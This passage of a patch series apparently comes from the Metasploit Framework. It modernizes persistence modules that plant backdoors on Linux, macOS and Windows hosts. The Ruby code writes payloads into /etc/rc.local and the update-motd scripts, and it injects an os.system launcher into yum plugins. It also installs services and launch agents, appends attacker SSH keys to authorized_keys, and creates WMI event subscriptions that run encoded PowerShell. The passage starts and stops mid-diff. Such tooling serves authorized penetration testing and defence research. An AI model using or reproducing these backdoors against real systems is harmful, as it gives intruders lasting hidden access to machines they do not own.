end - def exploit - update_path = '/etc/update-motd.d/' + def check + return CheckCode::Safe('/etc/update-motd.d/ does not exist') unless exists? '/etc/update-motd.d/' + return CheckCode::Safe('/etc/update-motd.d/ does not exist') unless writable? '/etc/update-motd.d/' - unless exists? update_path - fail_with Failure::BadConfig, "#{update_path} doesn't exist" - end + CheckCode::Appears('/etc/update-motd.d/ is writable') + end - unless writable? update_path - fail_with Failure::BadConfig, "#{update_path} is not writable" - end + def exploit + update_path = '/etc/update-motd.d/' backdoor_path = File.join(update_path, datastore['BACKDOOR_NAME']) @@ -64,5 +65,6 @@ def exploit write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}") chmod(backdoor_path, 0o755) print_status "#{backdoor_path} written" + print_good('Payload will be triggered at user login') end end From a2179ab88754480ebec509b183c7f46193679f33 Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 20 Jan 2025 11:45:54 -0500 Subject: [PATCH 13/94] modernization, updates, testing of rc.local --- .../exploits/linux/persistence/rc_local.rb | 36 +++++++++++++++---- 1 file changed, 29 insertions(+), 7 deletions(-) diff --git a/modules/exploits/linux/persistence/rc_local.rb b/modules/exploits/linux/persistence/rc_local.rb index e9041119d9e2..dbacafad3645 100644 --- a/modules/exploits/linux/persistence/rc_local.rb +++ b/modules/exploits/linux/persistence/rc_local.rb @@ -8,6 +8,9 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Unix + include Msf::Exploit::Local::Persistence + include Msf::Auxiliary::Report + prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'exploits/linux/local/rc_local_persistence' @@ -19,6 +22,8 @@ def initialize(info = {}) 'Description' => %q{ This module will edit /etc/rc.local in order to persist a payload. The payload will be executed on the next reboot. + + Verified on Ubuntu 12.04 }, 'License' => MSF_LICENSE, 'Author' => [ 'Eliott Teissonniere' ], @@ -27,36 +32,53 @@ def initialize(info = {}) 'Payload' => { 'BadChars' => "#%\n", 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic python ruby netcat perl' + 'PayloadType' => 'cmd' + # 'RequiredCmd' => 'generic python ruby netcat perl' } }, + 'References' => [ + ['URL', 'https://attack.mitre.org/techniques/T1037/004/'] + ], 'SessionTypes' => [ 'shell', 'meterpreter' ], - 'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true }, 'DisclosureDate' => '1980-10-01', # The rc command appeared in 4.0BSD. 'Targets' => [ ['Automatic', {}] ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + }, 'DefaultTarget' => 0 ) ) + + deregister_options('WritableDir') + end + + def check + return CheckCode::Safe('/etc/rc.local does not exist') unless exists?('/etc/rc.local') + return CheckCode::Safe('/etc/rc.local isnt writable') unless writable?('/etc/rc.local') + + CheckCode::Appears('/etc/rc.local is writable') end def exploit rc_path = '/etc/rc.local' - unless writable? rc_path - fail_with Failure::BadConfig, "#{rc_path} is not writable" - end - print_status "Reading #{rc_path}" # read /etc/rc.local, but remove `exit 0` rc_local = read_file(rc_path).gsub(/^exit.*$/, '') + backup_profile_path = store_loot('rc.local', 'text/plain', session, rc_local, 'rc.local', '/etc/rc.local backup') + print_status("Created /etc/rc.local backup: #{backup_profile_path}") + # add payload and put back `exit 0` rc_local << "\n#{payload.encoded}\nexit 0\n" # write new file print_status "Patching #{rc_path}" write_file(rc_path, rc_local) + + print_good('Payload will be triggered at next reboot') end end From 15cfde7e954e13ff78e5d11894558f0df1006f67 Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 20 Jan 2025 12:08:31 -0500 Subject: [PATCH 14/94] modernization, updates, testing of linux service --- modules/exploits/linux/persistence/service.rb | 58 +++++++++---------- 1 file changed, 27 insertions(+), 31 deletions(-) diff --git a/modules/exploits/linux/persistence/service.rb b/modules/exploits/linux/persistence/service.rb index 95e19a1695b5..23592457cd15 100644 --- a/modules/exploits/linux/persistence/service.rb +++ b/modules/exploits/linux/persistence/service.rb @@ -9,6 +9,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Unix include Msf::Exploit::FileDropper + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'exploits/linux/local/service_persistence' @@ -46,57 +48,42 @@ def initialize(info = {}) 'Targets' => [ [ 'Auto', { - 'DefaultOptions' => - { - 'BACKDOOR_PATH' => '/usr/local/bin' - } + 'DefaultOptions' => { 'BACKDOOR_PATH' => '/usr/local/bin' } } ], [ 'System V', { - :runlevel => '2 3 4 5', 'DefaultOptions' => - { - 'BACKDOOR_PATH' => '/usr/local/bin' - } + :runlevel => '2 3 4 5', + 'DefaultOptions' => { 'BACKDOOR_PATH' => '/usr/local/bin' } } ], [ 'Upstart', { - :runlevel => '2345', 'DefaultOptions' => - { - 'BACKDOOR_PATH' => '/usr/local/bin' - } + :runlevel => '2345', + 'DefaultOptions' => { 'BACKDOOR_PATH' => '/usr/local/bin' } } ], [ 'openrc', { - 'DefaultOptions' => - { - 'BACKDOOR_PATH' => '/usr/local/bin' - } + 'DefaultOptions' => { 'BACKDOOR_PATH' => '/usr/local/bin' } } ], [ 'systemd', { - 'DefaultOptions' => - { - 'BACKDOOR_PATH' => '/usr/local/bin' - } + 'DefaultOptions' => { 'BACKDOOR_PATH' => '/usr/local/bin' } } ], [ 'systemd user', { - 'DefaultOptions' => - { - 'BACKDOOR_PATH' => '/tmp' - } + 'DefaultOptions' => { 'BACKDOOR_PATH' => '/tmp' } } ] ], 'DefaultTarget' => 0, 'Arch' => ARCH_CMD, 'References' => [ - ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'] + ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'], + ['URL', 'https://attack.mitre.org/techniques/T1543/'] ], 'Payload' => { 'Compat' => @@ -105,8 +92,11 @@ def initialize(info = {}) 'RequiredCmd' => 'python netcat' # we need non-threaded/forked so the systems properly detect the service going down } }, - 'DefaultOptions' => { - 'WfsDelay' => 5 + 'SessionTypes' => ['shell', 'meterpreter'], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] }, 'DisclosureDate' => '1983-01-01' # system v release date ) @@ -114,7 +104,7 @@ def initialize(info = {}) register_options( [ - OptPath.new('BACKDOOR_PATH', [true, 'Writable path to put our shell', '/usr/local/bin']), + # OptPath.new('BACKDOOR_PATH', [true, 'Writable path to put our shell', '/usr/local/bin']), -> WritableDir OptString.new('SHELL_NAME', [false, 'Name of shell file to write']), OptString.new('SERVICE', [false, 'Name of service to create']) ] @@ -126,8 +116,14 @@ def initialize(info = {}) ) end + def check + return CheckCode::Safe("#{datastore['WritableDir']} isnt writable") unless writable?(datastore['WritableDir']) + + CheckCode::Appears("#{datastore['WritableDir']} is writable") + end + def exploit - backdoor = write_shell(datastore['BACKDOOR_PATH']) + backdoor = write_shell(datastore['WritableDir']) if backdoor.nil? return end @@ -409,7 +405,7 @@ def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd) return end cmd_exec("chmod 755 #{service_name}") - vprint_status('Enabling & starting our service') + print_good('Enabling & starting our service') if has_updatercd cmd_exec("update-rc.d #{service_filename} defaults") cmd_exec("update-rc.d #{service_filename} enable") @@ -456,7 +452,7 @@ def openrc(backdoor_path, backdoor_file) cmd_exec("rc-update add '#{service_filename}'") end - vprint_status('Starting service') + print_good('Starting service') cmd_exec("'/etc/init.d/#{service_filename}' start") end end From c03512394a11fabb236dbee42a4526200c0506e1 Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 20 Jan 2025 14:51:37 -0500 Subject: [PATCH 15/94] modernization, updates, testing of linux yum module --- .../linux/persistence/yum_package_manager.rb | 74 +++++++++++-------- 1 file changed, 42 insertions(+), 32 deletions(-) diff --git a/modules/exploits/linux/persistence/yum_package_manager.rb b/modules/exploits/linux/persistence/yum_package_manager.rb index 7aa35f56dc07..9670860203c0 100644 --- a/modules/exploits/linux/persistence/yum_package_manager.rb +++ b/modules/exploits/linux/persistence/yum_package_manager.rb @@ -5,10 +5,13 @@ class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking + include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Linux::System + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'exploits/linux/local/yum_package_manager_persistence' @@ -18,11 +21,14 @@ def initialize(info = {}) info, 'Name' => 'Yum Package Manager Persistence', 'Description' => %q{ - This module will run a payload when the package manager is used. No - handler is ran automatically so you must configure an appropriate - exploit/multi/handler to connect. Module modifies a yum plugin to + This module will run a payload when the package manager is used. + This module modifies a yum plugin to launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/ will show what plugins are currently enabled on the system. + + root persmissions are likely required. + + Verified on Centos 7.1 }, 'License' => MSF_LICENSE, 'Author' => ['Aaron Ringo'], @@ -38,21 +44,22 @@ def initialize(info = {}) ARCH_MIPSBE ], 'SessionTypes' => ['shell', 'meterpreter'], - 'DefaultOptions' => { - 'WfsDelay' => 0, 'DisablePayloadHandler' => true, - 'Payload' => 'cmd/unix/reverse_python' - }, 'DisclosureDate' => '2003-12-17', # Date published, Robert G. Browns documentation on Yum 'References' => ['URL', 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins'], 'Targets' => [['Automatic', {}]], - 'DefaultTarget' => 0 + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + } ) ) register_options( [ # /usr/lib/yum-plugins/fastestmirror.py is a default enabled plugin in centos - OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror']), + OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror.py']), OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write']) ] ) @@ -65,30 +72,42 @@ def initialize(info = {}) ) end - def exploit + def check + return CheckCode::Safe("#{datastore['WritableDir']} does not exist") unless exists? datastore['WritableDir'] + return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable? datastore['WritableDir'] + # checks /usr/lib/yum-plugins/PLUGIN.py exists and is writeable plugin = datastore['PLUGIN'] - full_plugin_path = "#{datastore['PluginPath']}#{plugin}.py" - print_status(full_plugin_path) - unless writable? full_plugin_path - fail_with Failure::BadConfig, "#{full_plugin_path} not writable, does not exist, or yum is not on system" - end + full_plugin_path = "#{datastore['PluginPath']}#{plugin}" + return CheckCode::Safe("#{full_plugin_path} does not exist") unless exists? full_plugin_path + return CheckCode::Safe("#{full_plugin_path} not writable") unless writable? full_plugin_path + return CheckCode::Safe('yum not found on system') unless command_exists? 'yum' # /etc/yum.conf must contain plugins=1 for plugins to run at all plugins_enabled = cmd_exec "grep -F 'plugins=1' /etc/yum.conf" - unless plugins_enabled.include? 'plugins=1' - fail_with Failure::NotVulnerable, 'Plugins are not set to be enabled in /etc/yum.conf' - end - print_good('Plugins are enabled!') + return CheckCode::Safe('Plugins are not set to be enabled in /etc/yum.conf') unless plugins_enabled.include? 'plugins=1' + + vprint_good('Plugins are enabled!') # /etc/yum/pluginconf.d/PLUGIN.conf must contain enabled=1 - plugin_conf = "/etc/yum/pluginconf.d/#{plugin}.conf" + plugin_conf = "/etc/yum/pluginconf.d/#{plugin.sub('.py', '')}.conf" plugin_enabled = cmd_exec "grep -F 'enabled=1' #{plugin_conf}" unless plugin_enabled.include? 'enabled=1' - print_bad("#{plugin_conf} plugin is not configured to run") - fail_with Failure::NotVulnerable, "try: grep -F 'enabled=1' /etc/yum/pluginconf.d/*" + return CheckCode::Safe("#{plugin_conf} plugin is not configured to run") + end + + # check that the plugin contains an import os, to backdoor + import_os_check = cmd_exec "grep -F 'import os' #{full_plugin_path}" + unless import_os_check.include? 'import os' + return CheckCode::Safe("#{full_plugin_path} does not import os, which is odd") end + CheckCode::Detected('yum installed and plugin found, enabled, and backdoorable') + end + + def exploit + plugin = datastore['PLUGIN'] + full_plugin_path = "#{datastore['PluginPath']}#{plugin}" # plugins are made in python and generate pycs on successful execution unless exist? "#{full_plugin_path}c" print_warning('Either Yum has never been executed, or the selected plugin has not run') @@ -96,18 +115,9 @@ def exploit # check for write in backdoor path and set/generate backdoor name backdoor_path = datastore['WritableDir'] - unless writable? backdoor_path - fail_with Failure::BadConfig, "#{backdoor_path} is not writable" - end backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10) backdoor_path << backdoor_name - # check that the plugin contains an import os, to backdoor - import_os_check = cmd_exec "grep -F 'import os' #{full_plugin_path}" - unless import_os_check.include? 'import os' - fail_with Failure::NotVulnerable, "#{full_plugin_path} does not import os, which is odd" - end - # check for sed binary and then append launcher to plugin underneath print_status('Attempting to modify plugin') launcher = "os.system('setsid #{backdoor_path} 2>/dev/null \\& ')" @@ -131,6 +141,6 @@ def exploit # change perms to reflect bins in /usr/local/bin/, give good feels chmod(backdoor_path, 0o755) print_status("Backdoor uploaded to #{backdoor_path}") - print_status('Backdoor will run on next Yum update') + print_good('Backdoor will run on next Yum update') end end From d65f2d45ae5e6441471d9b2f8604820171b138df Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 20 Jan 2025 14:55:50 -0500 Subject: [PATCH 16/94] further adjustments for persistence --- modules/exploits/linux/persistence/motd.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/persistence/motd.rb b/modules/exploits/linux/persistence/motd.rb index 6fdaa2ab6e50..c7d6034e5b26 100644 --- a/modules/exploits/linux/persistence/motd.rb +++ b/modules/exploits/linux/persistence/motd.rb @@ -33,8 +33,8 @@ def initialize(info = {}) 'DefaultTarget' => 0, 'DisclosureDate' => '1999-01-01', 'Notes' => { - 'Stability' => [], - 'Reliability' => [EVENT_DEPENDENT], + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], 'SideEffects' => [ARTIFACTS_ON_DISK] }, 'References' => [ From 7cfc28aec8b5c761c7360303b9a35f500abc7e34 Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 20 Jan 2025 16:14:13 -0500 Subject: [PATCH 17/94] modernization, updates, testing of obsidian module --- modules/exploits/multi/persistence/obsidian_plugin.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/persistence/obsidian_plugin.rb b/modules/exploits/multi/persistence/obsidian_plugin.rb index 658b31e16631..2a0d9772cf40 100644 --- a/modules/exploits/multi/persistence/obsidian_plugin.rb +++ b/modules/exploits/multi/persistence/obsidian_plugin.rb @@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Unix # whoami include Msf::Auxiliary::Report + include Msf::Exploit::Local::Persistence include Msf::Exploit::Deprecated moved_from 'exploits/multi/local/obsidian_plugin_persistence' @@ -43,14 +44,11 @@ def initialize(info = {}) 'Arch' => [ARCH_CMD], 'Platform' => %w[osx linux windows], 'DefaultOptions' => { - # 25hrs, you know, just in case the user doesn't open Obsidian for a while - 'WfsDelay' => 90_000, 'PrependMigrate' => true }, 'Payload' => { 'BadChars' => '"' }, - 'Stance' => Msf::Exploit::Stance::Passive, 'Targets' => [ ['Auto', {} ], ['Linux', { 'Platform' => 'unix' } ], @@ -71,6 +69,7 @@ def initialize(info = {}) OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]), OptString.new('CONFIG', [ false, 'Config file location on target', '' ]), ]) + deregister_options('WritableDir') end def plugin_name From e76aa561436cdf9ed734dccc0090caf15a080ca8 Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 20 Jan 2025 18:09:47 -0500 Subject: [PATCH 18/94] modernization, updates, testing of launch_plist module --- .../exploits/osx/persistence/launch_plist.rb | 28 ++++++++++++++++--- 1 file changed, 24 insertions(+), 4 deletions(-) diff --git a/modules/exploits/osx/persistence/launch_plist.rb b/modules/exploits/osx/persistence/launch_plist.rb index a918f38a06b8..59417331cb80 100644 --- a/modules/exploits/osx/persistence/launch_plist.rb +++ b/modules/exploits/osx/persistence/launch_plist.rb @@ -11,6 +11,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Common include Msf::Post::File include Msf::Exploit::EXE + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'exploits/osx/local/persistence' @@ -25,13 +27,15 @@ def initialize(info = {}) upon login by a plist entry in ~/Library/LaunchAgents. LaunchDaemons run with elevated privilleges, and are launched before user login by a plist entry in the ~/Library/LaunchDaemons directory. In either case the plist entry specifies an executable that will be run before or at login. + + Verified on OSX 11.7.10 (Big Sur) }, 'License' => MSF_LICENSE, 'Author' => [ "Marcin 'Icewall' Noga ", 'joev' ], 'Targets' => [ [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ], [ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ], - ['Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }], + [ 'Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }], [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ], [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ], ], @@ -40,9 +44,15 @@ def initialize(info = {}) 'DisclosureDate' => '2012-04-01', 'Platform' => [ 'osx', 'python', 'unix' ], 'References' => [ - 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf', - 'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html' - ] + ['URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf'], + ['URL', 'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'], + ['URL', 'https://attack.mitre.org/techniques/T1647/'] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + } ) ) @@ -58,6 +68,16 @@ def initialize(info = {}) [false, 'Run the installed payload immediately.', false]), OptEnum.new('LAUNCH_ITEM', [true, 'Type of launch item, see description for more info. Default is LaunchAgent', 'LaunchAgent', %w[LaunchAgent LaunchDaemon]]) ]) + deregister_options('WritableDir') + end + + def check + folder = File.dirname(backdoor_path).shellescape + folder = File.dirname(folder) + return CheckCode::Safe("#{folder} not found") unless exists?(folder) + return CheckCode::Safe("#{folder} not writable") unless writable?(folder) + + CheckCode::Appears("#{folder} is writable") end def exploit From a1a8c266cbabccf20b4ae5447d9bbb0234775fa8 Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 20 Jan 2025 18:10:40 -0500 Subject: [PATCH 19/94] add link with lib --- lib/msf/core/exploit/local/persistence.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/exploit/local/persistence.rb b/lib/msf/core/exploit/local/persistence.rb index 8d7ee2ae2279..e23bb94bb61c 100644 --- a/lib/msf/core/exploit/local/persistence.rb +++ b/lib/msf/core/exploit/local/persistence.rb @@ -10,6 +10,7 @@ def initialize(info = {}) 'WfsDelay' => 90_000, # 25hrs 'AllowNoCleanup' => true # don't delete our persistence after we get a shell }, + # https://github.com/rapid7/metasploit-framework/pull/19676#discussion_r1907594308 'Stance' => Msf::Exploit::Stance::Passive # 'Passive' => true # XXX when set, ignores wfsdelay and immediately exists after last command ) From 770930d7e8d06e3c281b66dbec852ee13c390344 Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 20 Jan 2025 18:17:24 -0500 Subject: [PATCH 20/94] storing unfinished modules --- modules/exploits/linux/persistence/sshkey.rb | 54 ++++++++++++------- .../windows/persistence/persistence_exe.rb | 6 ++- 2 files changed, 39 insertions(+), 21 deletions(-) diff --git a/modules/exploits/linux/persistence/sshkey.rb b/modules/exploits/linux/persistence/sshkey.rb index 4abbfc096828..e9d57e3f3dd3 100644 --- a/modules/exploits/linux/persistence/sshkey.rb +++ b/modules/exploits/linux/persistence/sshkey.rb @@ -5,11 +5,13 @@ require 'sshkey' -class MetasploitModule < Msf::Post +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Unix + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'post/linux/manage/sshkey_persistence' @@ -28,12 +30,14 @@ def initialize(info = {}) ], 'Platform' => [ 'linux' ], 'SessionTypes' => [ 'meterpreter', 'shell' ], - 'Compat' => { - 'Meterpreter' => { - 'Commands' => %w[ - stdapi_fs_separator - ] - } + 'References' => [ + ['URL', 'https://attack.mitre.org/techniques/T1098/004/'] + ], + 'DisclosureDate' => '1995-01-01', # ssh first release + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [] } ) ) @@ -44,8 +48,25 @@ def initialize(info = {}) OptPath.new('PUBKEY', [false, 'Public Key File to use. (Default: Create a new one)' ]), OptString.new('SSHD_CONFIG', [true, 'sshd_config file', '/etc/ssh/sshd_config' ]), OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for a user', false ]) - ], self.class + ] ) + deregister_options('WritableDir') + end + + def check + print_status('Checking SSH Permissions') + return CheckCode::Safe("#{datastore['SSHD_CONFIG']} not found") unless file?(datastore['SSHD_CONFIG']) + + sshd_config = read_file(datastore['SSHD_CONFIG']) + /^PubkeyAuthentication\s+(?yes|no)/ =~ sshd_config + if pub_key && pub_key == 'no' + return CheckCode::Safe('Pubkey Authentication disabled') + elsif pub_key + vprint_good("Pubkey set to #{pub_key}") + return CheckCode::Detected('Pubkey Authentication enabled') + end + + CheckCode::Unknown('Pubkey Authentication status unknown') end def run @@ -57,12 +78,6 @@ def run end print_status('Checking SSH Permissions') sshd_config = read_file(datastore['SSHD_CONFIG']) - /^PubkeyAuthentication\s+(?yes|no)/ =~ sshd_config - if pub_key && pub_key == 'no' - print_error('Pubkey Authentication disabled') - elsif pub_key - vprint_good("Pubkey set to #{pub_key}") - end %r{^AuthorizedKeysFile\s+(?[\w%/.]+)} =~ sshd_config if auth_key_file auth_key_file = auth_key_file.gsub('%h', '') @@ -92,10 +107,11 @@ def run if datastore['CREATESSHFOLDER'] == true vprint_status("Attempting to create ssh folders that don't exist") paths.each do |p| - unless directory?(p) - print_status("Creating #{p} folder") - cmd_exec("mkdir -m 700 -p #{p}") - end + next if directory?(p) + + print_status("Creating #{p} folder") + mkdir(p) + cmd_exec("chmod 700 #{p}") end end @@ -121,7 +137,7 @@ def write_key(paths, auth_key_file, sep) authorized_keys = "#{path}/#{auth_key_file}" print_status("Adding key to #{authorized_keys}") append_file(authorized_keys, "\n#{our_pub_key}") - print_good('Key Added') + vprint_good('Key Added') next unless datastore['PUBKEY'].nil? path_array = path.split(sep) diff --git a/modules/exploits/windows/persistence/persistence_exe.rb b/modules/exploits/windows/persistence/persistence_exe.rb index 74511bd2d51f..9946e374abdd 100644 --- a/modules/exploits/windows/persistence/persistence_exe.rb +++ b/modules/exploits/windows/persistence/persistence_exe.rb @@ -10,6 +10,7 @@ class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Post::Windows::Services include Msf::Post::Windows::TaskScheduler + include Msf::Exploit::Local::Persistence include Msf::Exploit::Deprecated moved_from 'post/windows/manage/persistence_exe' @@ -26,7 +27,6 @@ def initialize(info = {}) }, 'License' => MSF_LICENSE, 'Author' => [ 'Merlyn drforbin Cousins ' ], - 'Version' => '$Revision:1$', 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter'], 'Compat' => { @@ -42,6 +42,7 @@ def initialize(info = {}) ] } }, + 'DisclosureDate' => '1985-11-20', # windows 1.01 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], @@ -56,8 +57,9 @@ def initialize(info = {}) OptPath.new('REXEPATH', [true, 'The remote executable to upload and execute.']), OptString.new('REXENAME', [true, 'The name to call exe on remote system', 'default.exe']), OptBool.new('RUN_NOW', [false, 'Run the installed payload immediately.', true]), - ], self.class + ] ) + deregister_options('WritableDir') register_advanced_options( [ From 20cdc45bb814098cef712dd04b490d87291cee5d Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 28 Jan 2025 16:58:54 -0500 Subject: [PATCH 21/94] wmi persistence module --- lib/msf/core/exploit/local/persistence.rb | 8 +- modules/exploits/windows/persistence/wmi.rb | 86 ++++++++++++--------- 2 files changed, 55 insertions(+), 39 deletions(-) diff --git a/lib/msf/core/exploit/local/persistence.rb b/lib/msf/core/exploit/local/persistence.rb index e23bb94bb61c..0bfcf411be84 100644 --- a/lib/msf/core/exploit/local/persistence.rb +++ b/lib/msf/core/exploit/local/persistence.rb @@ -1,13 +1,17 @@ # -*- coding: binary -*- module Msf + # This module provides methods for persisting on a target system. Mainly initialization + # options. module Exploit::Local::Persistence def initialize(info = {}) super( update_info( info, 'DefaultOptions' => { - 'WfsDelay' => 90_000, # 25hrs + # leaving this commented out, we don't want a wfs delay so that the module + # will run forever. + # 'WfsDelay' => 25 * 60 * 60, # 25hrs 'AllowNoCleanup' => true # don't delete our persistence after we get a shell }, # https://github.com/rapid7/metasploit-framework/pull/19676#discussion_r1907594308 @@ -18,7 +22,7 @@ def initialize(info = {}) register_advanced_options( [ - OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp/']) + OptString.new('WritableDir', [true, 'A directory where we can write files', '']) ] ) end diff --git a/modules/exploits/windows/persistence/wmi.rb b/modules/exploits/windows/persistence/wmi.rb index 698d7a37cda3..c86f2cda85d9 100644 --- a/modules/exploits/windows/persistence/wmi.rb +++ b/modules/exploits/windows/persistence/wmi.rb @@ -10,6 +10,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Exploit::Powershell include Post::Windows::Priv include Msf::Post::File + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Local::Persistence include Msf::Exploit::Deprecated moved_from 'exploits/windows/local/wmi_persistence' @@ -20,18 +22,27 @@ def initialize(info = {}) 'Name' => 'WMI Event Subscription Persistence', 'Description' => %q{ This module will create a permanent WMI event subscription to achieve file-less persistence using one - of five methods. The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER + of five methods. + + The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER (default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER (note: failed logon auditing must be enabled on the target for this method to work, this can be enabled using "auditpol.exe /set /subcategory:Logon - /failure:Enable"). When these criteria are met a command line event consumer will trigger an encoded powershell payload. - The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL. The LOGON - method will create an event filter that will trigger the payload after the system has an uptime of 4 minutes. The PROCESS - method will create an event filter that triggers the payload when the specified process is started. The WAITFOR method - creates an event filter that utilizes the Microsoft binary waitfor.exe to wait for a signal specified by WAITFOR_TRIGGER + /failure:Enable"). + When these criteria are met a command line event consumer will trigger an encoded powershell payload. + + The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL. + + The LOGON method will create an event filter that will trigger the payload after the system has an uptime of 4 minutes. + + The PROCESS method will create an event filter that triggers the payload when the specified process is started. + + The WAITFOR method creates an event filter that utilizes the Microsoft binary waitfor.exe to wait for a signal specified by WAITFOR_TRIGGER before executing the payload. The signal can be sent from a windows host on a LAN utilizing the waitfor.exe command - (note: requires target to have port 445 open). Additionally a custom command can be specified to run once the trigger is + (note: requires target to have port 445 open). + + Additionally a custom command can be specified to run once the trigger is activated using the advanced option CUSTOM_PS_COMMAND. This module requires administrator level privileges as well as a - high integrity process. It is also recommended not to use stageless payloads due to powershell script length limitations. + high integrity process. It is also recommended to use staged payloads due to powershell script length limitations. }, 'Author' => ['Nick Tyrer <@NickTyrer>'], 'License' => MSF_LICENSE, @@ -41,12 +52,15 @@ def initialize(info = {}) 'Targets' => [['Windows', {}]], 'DisclosureDate' => '2017-06-06', 'DefaultTarget' => 0, - 'DefaultOptions' => { - 'DisablePayloadHandler' => true + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] }, 'References' => [ ['URL', 'https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf'], - ['URL', 'https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/'] + ['URL', 'https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/'], + ['URL', 'https://attack.mitre.org/techniques/T1047/'] ] ) ) @@ -55,15 +69,19 @@ def initialize(info = {}) OptEnum.new('PERSISTENCE_METHOD', [true, 'Method to 